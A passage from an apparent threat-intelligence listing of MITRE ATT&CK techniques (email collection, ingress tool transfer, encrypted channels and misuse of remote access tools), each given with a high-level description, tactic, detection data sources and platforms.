Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre